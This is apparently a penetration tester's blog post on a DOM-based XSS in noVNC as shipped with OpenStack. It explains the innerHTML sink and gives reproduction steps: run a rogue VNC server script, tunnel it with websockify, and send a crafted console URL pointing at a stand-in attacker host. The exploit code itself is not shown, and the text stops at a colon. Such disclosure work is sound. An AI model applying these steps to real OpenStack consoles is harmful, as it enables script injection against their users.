TL;DR: noVNC had a DOM-based XSS that allowed attackers to use a malicious VNC
server to inject JavaScript code inside the web page.
As OpenStack uses noVNC and its patching system doesn’t update third parties’ software, fully-updated OpenStack installations may still be vulnerable.
Last week I was testing an OpenStack infrastructure during a Penetration Test.
OpenStack is a free and open-source software platform for cloud computing, where you can manage and deploy virtual servers and other resources.
OpenStack is a huge piece of software, made of many different “modules ”, as can be seen in the official Github repository.
First I started by launching a new instance with a random OS image to see how I could interact with it.
When you run a new VM on OpenStack you have two main ways to administer it: you can assign it to a network with a Public IP, open the required port(s) and use your favorite remote administration protocol (SSH, RDP, etc.) or you can use the OpenStack’s “Console” feature.
The “Console” feature uses noVNC, an HTML VNC client that let you see your VM screen over the internet directly in your browser. Nice!
I’ve used VNC clients many times before but never an HTML one so I was wondering how it worked and I landed on the noVNC github repository.
After a quick look at the websockify subrepo, the noVNC component that tunnels a TCP connection over websockets, I searched both repos for security issues.
The Issue #748 immediately pop’d up, an XSS in noVNC that was patched in version 0.6.2 from January 2017.
The patch is very straightforward: s/innerHTML/textContent/g
.
The particularity of this bug was that no CVE was assigned, no public exploit was available, GNU/Linux distributions didn’t published a security update for the noVNC package and
OpenStack didn’t released a Security Notice for it,but it just updated the vulnerable component in new OpenStack’s installations
(as the noVNC component is usually git-cloned during installation or installed from the distros’ repositories), leaving all previous one unpatched.
So I had a potential vulnerability, which existence I could check easily!
A simple CTRL+U on my target “Console” page and a CTRL+F allowed me to confirm it was vulnerable, yay!
Looking at the issue description we can see:
An XSS vulnerability was discovered in noVNC in which the remote VNC server could inject arbitrary HTML into the noVNC web page via the messages propagated to the status field, such as the VNC server name.
So I though it was just a matter of changing the VM’s name inside OpenStack to trigger the XSS.
Not so fast…
This would only result in a self-XSS and moreover OpenStack sanitizes the VM name.¯\_(ツ)_/¯
OpenStack’s noVNC version comes in a single vnc_auto.html
page, which is invoked with a token
GET parameter. The aforementioned token is issued by OpenStack’s API and allows you to access a specific VM.
Time to write the exploit to show our customer the impact of this vulnerability!
By looking at the source code, it turned out that you can specify along with the token
parameter also the host
and the port
ones, which will tell the client the noVNC server it must connect to.
So I can now force the noVNC client hosted on the customer’s OpenStack domain to connect to an arbitrary noVNC server.
As stated before, reversing the patch is straightforward and we can notice that the status
function in the vnc_auto.html
file will use the status text
as innerHTML
every time there is a status change.
(https://github.com/novnc/noVNC/commit/6048299a138e078aed210f163111698c8c526a13#diff-22286f77c1852bf6a87298df3bfbb452L149)
In particular the status
function is called with the server-name
as input when connecting to an external noVNC server.
(https://github.com/novnc/noVNC/blob/41f476a86357f1404fcca078212c702599bbcc57/vnc_auto.html#L162)
With all these information in mind I wrote an evil “noVNC server” 😉 that starts the VNC handshake, sends as server-name
a JavaScript payload, waits 30 seconds and finally closes the connection.
This will cause any vulnerable noVNC client which connects to it to execute the payload present inside the server-name
parameter.
To reproduce the vulnerability an attacker must:
pip3 install websockify
)python3 cve-2017-18635.py &
)python3 -m websockify --cert=cert.pem --key=key.pem 6080 127.0.0.1:5902
)host
and port
parameters (https://openstack.vict.im/vnc_auto.html?host=attack.er&port=6080
)Writing n-day exploits is always fun and this time some considerations should be done: